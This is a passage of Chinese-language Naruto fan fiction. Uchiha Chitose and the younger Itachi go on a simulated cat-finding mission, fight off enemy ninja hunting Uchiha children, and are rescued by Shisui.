风卷残云般吃完便背上忍具包,朝着忍者学校赶去。
刚踏入教室,周遭同学的目光便与往日不同,不再是以往带着些许轻视的打量,而是多了几分惊讶与认可,昨日定期测试上,她终于突破瓶颈,顺利施展火遁的事,早已在班级里传开。
刚落座,身旁的位置便被人坐下,千岁侧过头,就看见宇智波由里香冷着一张小脸,眉眼依旧是惯常的冷淡,但率先开了口,语气别扭又生硬,藏着不易察觉的关心:“昨天开眼的感觉,怎么样?”
千歲眼睛一亮,瞬间来了兴致,指尖不自觉点了点眼角,语气满是欢喜:“好得不得了,感觉看东西都更清楚了,结印都变快超级多!”
由里香闻言,却依旧绷着表情,撇过头轻嗤一声,尽显傲娇:“不过是一勾玉而已,得意成这样,真没出息。”
“我才没有得意呢。”千歲反驳,从小一起长大,她早习惯了由里香这种口是心非的模样,“说不定我明天就能超过由里香了。”
“超过我?”由里香侧眼看她,清冷的眼底里掠过一丝笑意,很快又收敛起来,语气带着几分互损的锐利。
“你还是先把火遁练好再说吧,毫无实用性,昨天要不是临场爆发,指不定还要卡在原地。”
两人针锋相对,言语间满是互损,旁人看来完全就是一对死对头。
千歲刚要开口接话,就被从门口走进教室的和真老师打断。
“都安静,现在开始布置今天的训练内容与任务。”
话音落下,教室里原本细碎的交谈声渐渐平息下来。
“再过半年,你们就要从忍者学校毕业,正式成为独当一面的木叶忍者。而评判一名忍者的重要标准,便是任务执行能力。今天,我会为所有三年级学员安排D级模拟任务。”
“我们还是忍校学生,居然就能接任务了吗?”木村立刻激动地站起身问道。
“并非真实的委托任务,只是让你们提前熟悉任务流程与形式。”和真耐心解释,“内容参照过往任务卷宗记录,难度会相应下调,属于模拟演练。”
他顿了顿,故意留下几分悬念:“当然,这还不是本次训练的重点。”
“你们一直以来,都在老师与前辈的庇护下学习成长。身为三年级学员,你们也必须学会引导后辈,这是成为忍者不可或缺的素质。”
“因此,本次模拟任务将采取搭配制度,每一位三年级学员,需要带领一名一年级学员共同完成,主要考察你们与后辈的配合、协调及带队能力。”
“什么啊,带一年级的小鬼做任务,这不就是让我们看小孩吗?”木村满脸抱怨地嘟囔。
和真闻言在心底默默叹气:你总算也能体会到这种心情了,我带了你们这么久,今天总算轮到你们感受一下了。
“接下来我会宣布和你们搭档的一年生的名单,被念到名字的同学到隔壁的教室和你们的搭档汇合。”
和真拿起手中的分组名单,逐一念出名字。
“宇智波千歲,搭档——宇智波鼬。”
听到这个名字,教室里几不可察地安静了一瞬,连一旁冷着脸的由里香都抬了抬眼。
千歲自己也愣了一下,这个名字,她之前有在族地里听说过。那个年纪小小却异常沉稳、在一年级里都格外显眼的少年,她偶尔在族地和忍校里见过,安静得不像这个年纪的孩子。
由里香在旁边冷冷瞥了她一眼,低声吐槽:“自己火遁才刚稳定,还带后辈,别到时候反过来被后辈指导。”
“这句话原封不动的送回给
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你。”千歲反驳。
顺着和真的指引,千歲刚走出教室门,隔壁教室后门便走进来一道小小的身影。
是比千歲矮半个头的鼬。
宇智波鼬背着基础忍具包,黑色短发整齐利落,神情平静得超乎年龄,步伐沉稳地走到千歲身旁,微微低头,声音清清淡淡:“前辈,请多指教。”
第一次被别人称做前辈,千歲愣了一下,还有点怪不好意思,被鼬过于正经的样子弄得有点手足无措。
千歲咳了一声,拍了拍胸脯:“好啦别紧张啦,叫我千歲吧,模拟任务而已,跟着我就可以了。”
和真看着千歲这个样子,真不知道紧张的到底是谁。
鼬只是轻轻点了一下头,目光平静地扫过千歲眼角的方向,似乎察觉到了她刚开眼的查克拉气息,却什么也没说,只是安静地站在她身侧,等着出发。
和真看着各组基本就位,收起分组名单,拍了拍手宣布每一组的任务。
“千歲,你们这一组本次D级模拟任务内容为——寻找训练场东侧林区走失的三色小猫,限时两个小时,将猫咪安全带回集合点即算完成。”
什么?找猫?
千歲石化,所谓的D级任务就是找猫吗?
“和真老师,这不是捕猫队的工作吗?”
千歲吐槽。
“我们又不是忍犬!”
鼬仰着小脸,漆黑的眼眸平静无波,一本正经地点头:“D级任务大多是寻物、看护、搜寻小动物,前辈,这是忍者的基础工作。”
“心里落差好大啊。”
千歲哀嚎两秒,又立刻打起精神,强行给自己打气。
“算了,不过是找小猫而已。什么小猫小狗小麻雀我都给你带回来。”
和真有点担心的看着千歲。
“我可真有点不放心你,你知道要怎么找吗?”
千歲仰起头,“当然是用猫咪最喜欢的食物诱拐…啊不对,是引导。”
说罢,便从刃具包里掏出一包神奇的东西。
“什么玩意儿?”和真疑惑。
“当然是小鱼干呀。”千歲举起手中的神奇诱饵。
“我家后山那边会有流浪的小猫咪,所以常备着呢。”
和真扶额,内心吐槽到,刃具包里不放刃具,居然放一堆莫名其妙的鱼干,以后谁要是做了她的特别指导上忍,谁会倒霉一辈子吧。
“好了,不管你这是小鱼干还是什么东西,都切记一定要在规定时间内完成任务,量力而行,千万千万不要受伤了。”
“唉~和真老师还是那么爱操心呢。”千歲不知道哪里学来的腔调,双手抱臂,一脸无奈,像个小大人似的说话。
和真无语:“你这话从谁那里学来的,真是没心没肺…”
“我一定把小猫咪带回来。”说罢,千歲将手中的小鱼干分给鼬。
“给你。”
鼬仰起脸,先看了看她势在必得的表情,又看了看她掌心那半条还带着包装碎屑的鱼干,才轻轻伸出小手,稳稳接了过来。
“谢谢前辈。”
声音清清淡淡,可视线却没立刻移开。
眼前的少女说话时嘴角轻轻上扬,明明嘴上抱怨任务无聊,势头却未减半分,一举一动都鲜活又直率,和族里那些总是绷着神情的孩子完全不一样。
明明比自己大不了几岁,却一副拼命想装可靠前辈的样子,有点逞强,又有点可爱。
鼬握着那半包干鱼条,垂在身侧的手指轻轻攥了攥,他没再多说什么,只是安静地跟在千歲身后,把那一点小小的、带着暖意的东西,好好握在了手心里。
5. 第五章 敌人?是他国忍者!
训练场东侧林区
一进林区,千岁立刻开启地毯式搜索,扒开灌木丛就探头,走两步就弯下腰查看草丛,嘴里还念念有词:
“小猫咪你在哪?听到你就喵一声。”
猫,应该听不懂人话吧。鼬心想。
千歲动作大大咧咧,差点一脚踩翻地上的小石子,踉跄了一下,被鼬伸手轻轻扶了一把。
“前辈,小心脚下。”
“谢、谢谢!”千歲站稳,有点不好意思地挠挠头,自己有点心急,毕竟不能在后辈面前丢脸。
她继续往前找,走几步就回头看一眼鼬,生怕把这个安静的小后辈弄丢,结果回头频率太高,自己一头撞在树干上。
“好痛!”
千歲捂着额头蹲下,这下丢脸丢到家了。
鼬快步走到她身边,小声问:“前辈,疼吗?”
“一点都不疼,我都没什么感觉。”千岁立刻抬头强装没事,结果额头红了一小块,看着又好笑又可爱,她还嘴硬,“这只是意外!”
鼬没拆穿,只是默默走到她前面一点,替她拨开挡路的树枝,小小身影走得稳稳当当,像个小向导。
千歲跟在后面,看着他小小的背影,感觉比起自己,鼬倒更像一个前辈。
倒腾了半天,连猫毛都没见到,千岁彻底蔫了,靠在树上叹气:“完了,会不会猫咪已经跑出去了。”
她正唉声叹气,头顶忽然传来一声细细的“喵~”。
千歲猛地抬头,就见树杈上缩着一只三色小猫,毛炸炸的,吓得不敢动,低头怯生生看着她们。
“找到了!”千歲瞬间满血复活,立刻站直,抬头对着小猫温柔喊话,“小猫咪别怕,我来接你下去!”
她说着就想爬树,手脚刚搭上树干,晃了两下,想起自己爬树术一般,又默默滑下来,尴尬地咳了一声。
鼬看着她,轻声开口:“前辈,我来吧。”
不等千歲反应,鼬身形轻巧地跃起,抓着树枝几下就爬了上去,动作稳得不像一年级生。千歲在下面仰着头,紧张地挥手:“小心点!别摔了!不行我来……”
话没说完,鼬已经轻轻抱起小猫,顺着树枝慢慢下来,稳稳落地,怀里抱着缩成一团的三色小猫,小猫乖乖靠着他,一点都不害怕。
千歲凑过来,眼睛亮晶晶的:“鼬你也太厉害了吧!比我厉害多了!”她伸手想摸小猫,结果小猫警惕地缩了一下,往鼬怀里钻了钻。
“……”千岁手僵在半空,受到暴击,“为什么啊,我也有小鱼干啊!”
她掏出鱼干递过去,小猫闻了闻,还是没动,依旧黏着鼬。千歲垮起脸,委屈巴巴:“明明我是前辈,结果猫咪更喜欢后辈,太受伤了。”
鼬看着她委屈的样子,把怀里的小猫轻轻往她这边送了送,小猫犹豫了一下,用鼻子碰了碰千歲的手指。
千歲瞬间笑开:“哇,理我了理我了!”
千歲从鼬手里接过小猫,小心翼翼地托着猫咪的身子,指尖轻轻顺着小猫柔软的毛发一下下摸着头顶,动作放得极轻。
鼬看着眼前的少女,她微微低着头,嘴角不自觉弯成甜甜的弧度,连说话都放软了声调,像在哄小孩一般:“小猫咪好乖,等下带你回家。”
千歲正低头顺着猫咪的软毛,怀里的小身子忽然猛地一僵。
方才还温顺蹭着她指尖的三色小猫,耳朵唰地向后贴紧,浑身细毛炸开,从喉咙里滚出低低的哈气声,小小的身子拼命往她怀里缩,目光死死盯着树林深处,充满了恐惧与警惕。
“怎么了?”
千歲下意识收紧手臂安抚,可猫咪却抖得更厉害,叫声也变得尖锐。
下一刻,她身旁的鼬忽然往前微跨半步,将她稍稍护在身后一点,原本平静的眼神瞬间沉了下来,小小的眉头紧锁,周身气息明显绷紧。
“前辈,那里有异常查克拉。”
他的声音压得很低,已经没了刚才的乖巧,只剩下与年龄不符的冷静警惕。
树林深处静得反常,连虫鸣都消失了,一股阴冷又厚重的查克拉如阴影般漫过来,不属于木叶,更带着久经厮杀的压迫感——那是敌国潜入的上忍,竟已悄无声息突破到了木叶腹地。
与此同时,火影办公室。
三代火影正看着桌上的任务报告,暗部成员骤然从窗口闪身而入,单膝跪地,语气急促:
“火影大人,边境结界被强行突破,有敌国上忍潜入村内,目前行踪不明,恐怕已深入内部区域!”
“有什么眉目吗?”猿飞日斩皱眉
“是之前那件事情…”暗部成员回答。
猿飞日斩放下烟斗,神色瞬间严肃,指尖在桌面轻点,当即下令:
“立刻出动二班暗部成员,以训练场及族地周边为中心展开封锁搜寻,务必在对方造成破坏前拦截,务必保护好村民。”
“是!”
暗部身影一闪消失,窗外的阳光依旧平静,可木叶的空气,已悄然绷紧。
猿飞日斩内心焦虑起来,他揉了揉太阳穴,该来的总该会来吗。
与此同时,训练场树林。
猫咪毛发倒竖,对着密林深处不断哈气,细小的身体抖得厉害。
空气里漫开一股冰冷而浑浊的查克拉,厚重得让人喘不过气。
下一秒,树林阴影晃动,几道身影缓步走出,护额上的纹样并非木叶,眼神冷冽,周身散发出久经厮杀的压迫感——是敌国上忍,竟真的潜入到了忍校附近。
“居然是两个小鬼……”那人嗤笑一声,目光扫过两人,随意得像在看路边石子。
敌国入侵者竟已深入到木叶腹地至此。
鼬的大脑在高速运转,冷静地分析着对方的意图。
“看背后的家纹,就是我们要找的人没错。”
对方一名忍者低声开口。
鼬和千歲两人背后那枚宇智波团扇的族徽,在林间日光下显得格外扎眼。
这敌国忍者的目标是宇智波一族。
意识到这点的瞬间,鼬便看清了现状:想要两人全身而退,几乎没有可能。
他飞快侧头看向身旁的千歲,眼神一沉,瞬间定下对策。
“前辈,忍校附近,居酒屋东边常有暗部巡逻队经过。”
他语速极快地低声交代,不等千歲反应,又立刻补了一句,语气坚定得不容反驳:
“我会在这里争取时间,你趁乱突围,务必把这里的情况通报给暗部。”
“什么?”千歲一瞬间没能反应过来。
鼬没有丝毫犹豫,指尖飞速结印,动作利落得远超同龄孩子,查克拉率先发动,试图牵制对方,给千歲争取逃跑机会。
上忍略微讶异,随手格挡,眼神多了几分玩味:
“小小年纪,反应和结印都不错。”
鼬一言不发,借着身法不断迂回,手里剑与战术切换极快,硬是和对方纠缠了数息,勉强拖住脚步。
上忍终于留意到他眼底的模样,眉梢一挑,语气沉了几分:
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“已经开眼的宇智波吗?难怪能和我过上几手。”
可差距终究摆在那里。
不过片刻,对方不再留手,一记凌厉的体术突袭,鼬躲闪不及,被震得踉跄后退,重重撞在树干上,嘴角渗出血丝。
他才七岁,再怎么天才,也不可能敌得过经验丰富的敌国暗部上忍。
“鼬!”
千歲失声喊了出来。
千歲今年九岁,刚开一勾玉写轮眼,实战经验几乎为零。
眼前血腥的场面、冰冷的杀意、查克拉的压迫,让她浑身发冷,指尖控制不住地颤抖,恐惧从脚底往上窜。
她想站起身,腿却像灌了铅。怀里的猫咪早已经不知道窜去哪了。
“快走!”
鼬的话音刚落,上忍便如离弦之箭般冲了过来。
“想走?做梦?先解决了你,再把她带走。”对面的上忍的话就像晴天霹雳一般。
千歲僵在原地,眼睁睁看着鼬的身影再度撞入战局。
上忍的查克拉如海啸般翻涌,每一次掌风扫过,都带着能撕裂树木的威势。
鼬在其中辗转腾挪,像狂风暴雨里一片勉强维持的叶子,明明上一秒才咳出一口血,下一秒又凭着惊人的韧性扑了上去。
恐惧像一只冰冷的手,死死攥住了千岁的心脏。
她的牙齿控制不住地打颤,指尖的苦无几乎要捏不住,耳边全是血液冲上头顶的轰鸣。
这不是忍校的模拟训练,不是和止水互相切磋的打闹,而是真正的死亡威胁。
对方的每一次攻击,都足以轻易取走她和鼬的性命。
怎么办。
好害怕。
为什么这个时候,全身都动弹不了。
可恶,动起来啊。
她清楚地知道自己有多弱小,不过是刚开一勾玉的下忍水准,火遁尚且不稳,实战经验少得可怜,和眼前身经百战的敌国暗部上忍比起来,脆弱得如同风中残烛。
逃跑的念头在脑海里疯狂叫嚣。
只要转身,只要拼了命往居酒屋的方向跑,她或许能活下来。暗部会来,一切都会有人解决。
可这个念头刚冒头,就被她硬生生掐灭。
她是宇智波千歲,是比鼬大两岁的前辈。
刚刚还拍着胸脯对鼬大言不惭的说“跟着我就好啦”
前辈的职责,难道就是在后辈拼命争取时间时,狼狈地转身逃命吗?
宇智波的团扇徽章在后背发烫,那是荣耀,也是责任。
双腿软得几乎站不住,每一根神经都在叫嚣着畏惧,可她死死攥紧掌心,指甲深陷进肉里,用疼痛逼自己清醒。
她看着鼬被上忍一脚踹飞,又硬生生用苦无钉住树干稳住身形。那双本该沉静的黑眸,在扫向她时,带着不容置疑的催促。
他在赌命,赌她能把消息带出去。
“我才不要。”
千歲低声呢喃,声音带着恐惧的沙哑,却异常坚定。
她闭上眼,再睁开时,写轮眼已然彻底张开,一勾玉飞速旋转,将眼前的一切——上忍的动作轨迹、鼬的呼吸节奏、林间的每一块碎石,都清晰地纳入视野。
即便害怕到已经没办法握紧苦无,那又如何。
她是前辈,怎么可能临阵脱逃。
千歲深吸一口气,压下喉咙里的哽咽,脚步猛地蹬地,握着苦无的手稳了下来。
她不再犹豫,身形一晃,朝着战圈中那个最危险的空隙,义无反顾地冲了过去。
6. 第六章 绝境求生
千歲不再犹豫,脚下查克拉骤然爆发,瘦小的身影如离弦之箭般冲入战场。
她没有贸然正面冲撞,而是借着树木的掩护,绕到那名上忍的侧后方。
写轮眼飞速旋转,一勾玉死死锁定对方挥拳后的空隙,手中苦无带着破风声直刺过去,目标精准地指向对方查克拉运转的薄弱点。
“啧,还有一个!”
上忍冷哼一声,手肘猛地向后砸来,劲风裹挟着杀意。千岁瞳孔骤缩,赶紧侧身翻滚避开,擦着树干堪堪躲过,后背的布料却被凌厉的气劲划开一道口子。
她顾不上疼,落地瞬间指尖飞快结印:“火遁·豪火球之术!”
一定要成功啊。
火球带着灼热的温度射向敌人,虽威力尚浅,却成功逼得对方暂缓了对鼬的压制,不得不抬手格挡。
“前辈!”
鼬的声音带着难以置信的惊愣。他刚借着这短暂的空隙稳住身形,就见千歲竟真的冲了回来,那道明明在发抖的身影。
此刻却挡在了他与敌人之间,狂风般的气浪骤然席卷而来,掀起她一头耀眼的金发,发丝在空中剧烈飞扬,划出凌厉又明亮的弧线。
鼬僵在原地,所有动作与思绪骤然定格,只仰头望着那道单薄却挺直的背影,一时间彻底看呆了,连呼吸都忘了半拍。
千歲不断使出火遁,希望能够压制住对方。
趁敌人被火遁牵制,鼬立刻抓住机会,手里剑如暴雨般射出,封住了对方所有闪避的路线。
两人一左一右,形成了一个默契的夹击之势。
短暂的僵持间,上忍被这两个小鬼的顽强激怒,正要发动强力忍术,却被鼬预判先机,用土遁筑起一道矮墙暂时抵挡。
“你为什么不逃?!”
鼬借着这转瞬即逝的喘息机会,冲到千歲身边,压低声音质问。
他的脸煞白,嘴角还挂着血,眼神却锐利如刀,带着远超年龄的焦急。
“我不是让你去报信了吗?”
千歲剧烈喘息,额头上布满冷汗,握着苦无的手抖得厉害。
她抬起头,那双因恐惧而泛红的双眼直视着鼬的眼睛。
“我真的怕得要死,鼬。”
她的声音沙哑,带着未消的颤音,却字字清晰,“现在腿都软了,连站着都觉得在发抖。”
她顿了顿,抬手擦了擦脸颊的汗水与尘土,眼神变得无比坚定:“可是,如果我现在跑了,你却死在这里……我这一辈子,都不会原谅我自己。”
“我是你的前辈,也是你的同伴。”
千歲重新握紧苦无,挡在鼬身前半步,直面着前方虎视眈眈的强敌,一字一句地说道:
“宇智波千歲,绝不丢下同伴,临阵脱逃。”
与此同时,暗部分队
火影的紧急指令传达到暗部分队时,窗外的阳光依旧平静,卡卡西却已瞬间敛了神色,护额下的写轮眼微微亮起。
“训练场以及族地附近,有敌国上忍潜入,现在加大巡逻力度,务必将入侵者绳之以法。”他低声念完命令,抬手扯过肩上的面罩。
“全队,出发。”
一行人化作黑影,穿梭在木叶的林间。脚下是厚厚的落叶,踩上去悄无声息,小队成员在树间跳跃,目光警惕地扫过四周,却只看到寻常的树影与杂草,连一丝异常的查克拉波动都没捕捉到。
“卡卡西队长,”一名暗部成员落在他身侧,声音压得极低,“这片林子太安静了,除了风声没别的动静,要不要扩大搜查范围,去别处找找?”
另一名队员也附和:“对方是上忍,大概率不会久留,说不定已经离开训练场区域了。”
卡卡西没立刻应声,目光却在林间缓缓游走,视线最终停在一棵粗壮的树干旁。
那里,一只三色小猫正缩着身子,浑身毛发炸起,小爪子死死扒着树皮,瑟瑟发抖。它不是野猫,脖颈处还系着一根细细的红绳——是忍校常用的宠物标识绳。
不对劲。
寻常的野猫怕人,只会远远躲着,可这只小猫,抖得像刚经历过生死,连眼睛里都满是惊恐,死死盯着树干后方的灌木丛,一动不敢动。
卡卡西的脚步顿住,蹲下身时动作轻得像片云,他抱起猫咪,细心安抚着。
“通灵之术。”
随即,低唤一声,一只棕色毛发的忍犬立刻从阴影中跃出,落地时稳稳站定,鼻尖微动,正是他的专属通灵兽。
“闻闻这个。”
卡卡西伸手,小心翼翼地从旁边沾了点小猫身上的气息,递到帕克鼻尖下。
帕克嗅了嗅,立刻竖起耳朵,朝着小猫逃窜的方向低吠了一声,随即转身,沿着地面的气息痕迹,一步步往前探。
“跟上去。”
卡卡西起身,对身后的小队成员道:“不用扩大范围,跟着它,战场痕迹应该就在前面。”
小队成员虽有疑惑,却也信任队长的判断,立刻跟上。帕克在前方领路,鼻尖不断贴着地面,一路追踪着那微弱的气息。
另一边训练场树林
气浪卷着枯叶在林间炸开,鼬借着树干的掩护,唇齿几乎擦过千歲的耳廓,两人似乎在制定着一些计划。
千岁攥紧的指尖泛白,一勾玉写轮眼死死锁着鼬的身影,重重点头。
下一秒,鼬的身影便如离弦之箭直冲而出,手里剑虚晃着封锁了上忍的下盘,却故意将破绽露得极大——那是孩童般莽撞的搏命姿态,精准撞进了对方预判的攻击范围。
“不知天高地厚。”
敌国上忍冷哼,右臂裹着凝实的查克拉,带着破风之势狠狠砸向鼬的胸口。这一击既未下死手,又带着足够的压制力,显然从一开始就存了留活口的心思。
千歲的心脏瞬间提到嗓子眼,眼睁睁看着那记重击落在鼬身上——
“嘭!”
白烟乍起,鼬扑通一声摔在草丛里,一动不动,俨然一副被重创晕厥的模样。
上忍挥开
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缭绕的白烟,瞥了眼地上的鼬,眼底闪过一丝满意,随即缓缓转身,将目光锁定在身后的少女身上。
千歲踉跄着后退两步,双腿一软跪倒在地,金发凌乱地垂落,遮住了大半张脸,只有肩膀剧烈地耸动着。眼泪毫无预兆地流下,晕开小小的湿痕,她抬起头时,眼眶通红,写轮眼涣散着失去焦点:“鼬……你醒醒啊……”
哭嚎声里,她忽然抬起头,看向缓步走近的上忍,眼底满是绝望的质问:“你们……到底想干什么?为什么要对我们动手?”
上忍看着她这副被吓破胆的模样,不屑地勾了勾唇角,脚步愈发放松——一个失去同伴、彻底崩溃的宇智波小鬼,翻不出什么浪花。
他双手抱胸,直言不讳:“宇智波的血脉本就该为我族所用,潜入木叶,就是为了抓两个活口回去,尤其是你们这种年幼的小鬼。”
“活口……”
千歲喃喃重复着这两个字,仿佛被抽走了所有力气,她缓缓放下手中的苦无,瘫坐在地,脸上是全然的认命,“我明白了……我根本打不过你,鼬也已经这样了……你们要抓,就把我带走吧,别再伤害其他人了。”
她说着,缓缓站起身,浑身还在不住地发抖,连站都站不稳,一副任人宰割的模样。
上忍彻底放下了戒备,大步走到她面前,伸手就要扣住她的肩膀。就在他的手指即将触碰到千歲的瞬间,少女眼底涣散的光骤然凝聚,写轮眼死死盯住他的手腕。
“就是现在!”
千歲猛地俯身,避开他的擒拿,张口就狠狠咬在了上忍的小臂上。牙齿嵌进皮肉的瞬间,上忍吃痛,发出一声震怒的低喝,抬手就要挥掌拍向她的后脑。
千歲早有准备,借着他吃痛僵滞的刹那,猛地松口,转身就朝着鼬隐匿的灌木丛方向狂奔。凌乱的金发在风里飞掠,她甚至不敢回头,只拼尽全力调动体内所有查克拉。
地上那具尸体,“砰”的一下化作了一根木桩。
替身术吗?这小子到底什么时候…
几乎在千歲动身的同一刻,灌木丛里的鼬骤然睁眼。
他双手快速结印,写轮眼泛起微光,一记精准的幻术悄然释放。
无形的查克拉波动以他为中心扩散开来,将自己与千岁的查克拉气息彻底搅乱,又凭空制造出数个微弱的查克拉残影,朝着林间不同方向四散而去。
上忍捂着流血的小臂,怒不可遏地追出两步,却在触及幻术范围的瞬间皱紧眉头。他的感知里,原本清晰的两道宇智波查克拉,此刻竟变得混沌一片,四面八方都有微弱的气息传来,根本分不清两人真正的逃亡方向。
“该死!中了小鬼的圈套!”
他怒喝一声,查克拉疯狂涌出想要冲破幻术,可那幻术虽不致命,却足够精妙,恰好扼住了他追踪的关键。
而林间的阴影里,千歲已经扑到了鼬的身边,两人对视一眼,没有多余的话语,借着幻术的掩护,朝着暗部巡逻的方向,飞快消失在密林深处。
7. 第七章 瞬身止水!我来救场了
千歲与鼬借着幻术残留的掩护,在密林间跌跌撞撞地奔逃,脚下的木枝被踩得噼啪作响,两人都已是强弩之末。
千歲的手臂被树枝划开的伤口阵阵刺痛,鼬则紧紧抿着唇,小小的身子虽在发抖,却始终跟在她身侧,时不时回头警惕后方。
终于冲出密林抵达山脚,视野豁然开朗,一道漆黑的暗部身影骤然从树梢跃下,周身散发着沉稳的查克拉。
暗部的身影落在面前时,千岁那根紧绷到极致的神经,终于松了一瞬,连带着被恐惧攥住的心脏,都轻轻跳了一下。
她以为这里是终点,是终于能把那口憋了很久的气,吐出来的地方。
“终于……找到了!”千歲几乎脱力,扶着膝盖大口喘息,声音因紧张而沙哑,“木叶腹地有敌国上忍潜入,目标是宇智波,我们在训练场树林遭遇了袭击,对方不止一人!”
鼬也立刻补充,语气冷静:“他们实力很强,还在林中搜寻我们,麻烦立刻支援。”
暗部成员闻言神色一凛,当即点头:“我知道了,我带你们去安全区域,卡卡西队长的小队正在附近搜查。”
话音落,他一手揽住一人的腰,查克拉灌注脚底,纵身跃向树梢,打算带着两人快速撤离。
可就在三人腾空的刹那,一股远比之前所有上忍都要强横、阴冷的查克拉如同泰山压顶般席卷而来,空气仿佛都被凝固。
前方山道尽头,一道笼罩在黑袍中的身影缓缓现身,周身的压迫感让树梢都在微微震颤,刚刚那两个上忍,与眼前的人,压根不是一个级别。
“还打算跑去哪”低沉的笑声带着刺骨的杀意,黑袍之人缓步逼近,目光锁定千歲与鼬,“两只宇智波的小崽子,总算肯露面了。”
绝境,再一次将两人包裹。
千歲下意识将鼬护在身后,刚放松的心瞬间又提到了嗓子眼。
“别怕。”身旁的暗部成员将两人往身后护了护,声音沉稳有力,带着不容置疑的坚定,“放心吧,木叶的暗部可不是吃素的,我会护着你们离开。”
他话音刚落,便义无反顾地冲了上去,苦无与查克拉刃交织,拼尽全力阻拦眼前的强敌。
可那一瞬间,
暗部成员甚至连印还没结完。
黑袍人抬手便是一记凌厉的绝杀,查克拉贯穿了暗部成员的胸膛。
鲜血溅落在枯黄的草地上,暗部成员的身躯重重倒下,最后望向两人的眼神,还残留着守护的执念。
时间仿佛在这一刻静止。
千歲怔怔地站在原地,瞳孔骤缩,浑身的血液仿佛都冻结了。
她见过训练的受伤,见过模拟的险境,却从未如此真切地目睹一个鲜活的生命,为了保护她和鼬,在眼前瞬间消逝。
是恐惧。
是无助。
是绝望。
情绪如潮水,淹没了她所有的理智与倔强,眼泪不受控制地夺眶而出,喉咙像是被堵住一般,发不出任何声音,只剩下无边无际的窒息感,狠狠攥住了她的心脏。
原来,从那座林子逃出来,并不是结束。
只是换了一个地方,继续陷入更深的绝望。
暗部的鲜血还凝在草叶上,空气里的铁锈味刺得人鼻腔发疼。
千歲与鼬双双脱力,腿一软几乎跪倒在地,方才逃跑与战斗耗尽了所有力气,连抬手的力气都所剩无几。
黑袍人缓步逼近,嘴角勾起残忍的笑意,指尖微动,数道泛着冷光的查克拉线骤然窜出,像毒蛇般缠上千岁的四肢,狠狠将她拽向身前。
金发被拉扯得凌乱,她拼命挣扎,指尖抠进泥土里,虚弱却愤怒的嘶吼冲破喉咙:“你凭什么随便杀人!火影爷爷不会放过你的!”
“吵死了。”
黑袍人眉头一皱,毫不留情地挥出一拳,重重砸在千歲脸颊。
剧痛瞬间炸开,她眼前一黑,头脑阵阵眩晕,嘴角渗出血丝,身子被查克拉线捆得动弹不得,几乎要昏厥过去。
可即便视线模糊,那双睁开的写轮眼依旧透着倔强,死死瞪着眼前的敌人,半分屈服的意思都没有。
一旁的鼬挣扎着想要冲过去,可浑身酸痛无力,刚迈开一步便踉跄着摔倒在地,只能眼睁睁看着千歲被敌人钳制,心底的焦急与无力几乎要将他吞噬。
黑袍人看着千歲不服输的模样,眼底杀意更盛,伸手朝她的眼窝探去:“倒是倔得很,与其费功夫带走,不如直接生挖了你的写轮眼,来得更快。”
黑袍人的指尖带着刺骨的冷意,距离千歲的眼窝只剩一寸,一勾玉写轮眼在他眼前转动,那点不服输的光,让他觉得格外碍眼。
“既然这么倔——”
他的手指微微弯曲,就要狠狠挖下。
就在这千钧一发的瞬间,空气突然被一道极速撕裂的风声划破。
快得只剩下一道青白色的残影,快得连查克拉波动都来不及被感知。
林间的光线仿佛被骤然截断,一道身影从天而降,如疾风过境,瞬身术在这一刻被施展到极致,连落叶都被这股迅猛的速度掀得漫天飞舞。
寒光一闪而过。
止水单手持剑,只轻轻一挥,数根紧绷的查克拉线便在同一瞬间被整齐斩断,切口干净利落,连一丝颤动都没有。
原本被狠狠拽着的千歲突然失去所有束缚,浑身脱力地向下倒去。
下一秒,一只稳定而温暖的手臂稳稳揽住她的腰侧,将她轻轻接进怀里。
力道轻柔,却带着绝对的安全感,让她那根快要崩断的神经,在这一瞬间有了落点。
金发散乱地垂在他臂弯,她虚弱地抬眼,只看见止水侧脸冷冽,眼神锐利如刃,周身散发出的气场瞬间压过了对面的黑袍人。
整个过程,不过一瞬。
前一秒是死亡逼近的绝望,后一秒便被稳稳护住。
快到黑袍人僵在原地,手还停在半空,甚至没反应过来究竟发生了什么。
被稳稳拥入怀中的刹那,属于止水的熟悉气息裹住了她,那股温和却强大的查克拉像一道坚实的屏障,隔绝了所有杀意与寒冷。
千歲紧绷到近乎断裂的神经,终于在这一刻彻底松垮下来,浑身的力气仿佛被瞬间抽干,连站立的力气都消失。
方才强撑着的所有倔强与勇敢轰然崩塌,她强忍着委屈不让自己的眼泪落下。
“千歲。”
一听到止水的声音,千歲再也忍不住自己的委屈的眼泪。
金发凌乱地黏在满是尘土与泪痕的脸颊,嘴角的血迹未干,整个人狼狈又脆弱。
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在止水身边,她终于不用再硬撑,不用再强迫自己做勇敢的前辈。
止水看着怀中少女浑身伤痕、发丝凌乱的模样,想起她方才独自面对强敌的倔强,眼底掠过一丝震怒。
他抬手,用指腹轻轻拭去她脸上的泪痕,声音温和又有力量,稳稳落进她耳中:
“没事了,我来了。”
止水轻轻将千歲放下,伸手稳稳扶住她的手臂,确认她能勉强站稳后,缓缓转过身。
他抬手将护额微微推高,露出那双清澈却锐利的写轮眼,风掀起他的衣摆,周身温和的气息瞬间化作凛冽的战意,独自挡在黑袍人与两个孩子之间。
“接下来,交给我吧。”
他语气平静,却带着不容置疑的力量,指尖已握住刀柄,身影一晃便率先冲了出去。
瞬身术展开,残影叠着残影,刀光如闪电般斩向黑袍人,招式利落又迅猛,每一击都精准逼向对方要害。
前一秒还温柔安抚她的人,下一瞬已化作林间最锐的刃,瞬身术带出的风卷动落叶,刀光快得只剩一道银弧,连空气都被撕裂出轻响。
不过眨眼间,他便已逼至黑袍人身前,攻势利落得没有半分多余,每一次挥刀都精准压制住对方的反击,强大的查克拉威压稳稳笼罩战场,让那方才还不可一世的黑袍人连喘息都显得狼狈。
这一瞬间的震撼来得太过突然,千歲怔怔仰头望着那道挺拔的背影,眼底写满了难以置信的惊讶。
平日里的止水总是温和笑着,会故意揉乱她的头发,会耐心听她说话,从不会展露半分凌厉,原来他一直都将自身的实力藏得极深,此刻爆发出来的力量,远比她想象中还要强大得多。
原来真的有人,可以强大到如此从容。
原来只要他站在那里,所有的恐惧、无助与绝望,都会一点点退散。仿佛只要止水在,天塌下来都能被接住,再难的困境,也终会迎刃而解。
身旁的鼬也同样僵住,小小的身子站定在原地,漆黑的眼眸紧紧盯着止水的身影,眸中的惊讶毫不掩饰。
他本以为自己的战术与应变已算成熟,可亲眼目睹止水行云流水的战斗方式,才真切感受到对方深不可测的实力,那份从容与强大,深深烙印在了他的眼底。
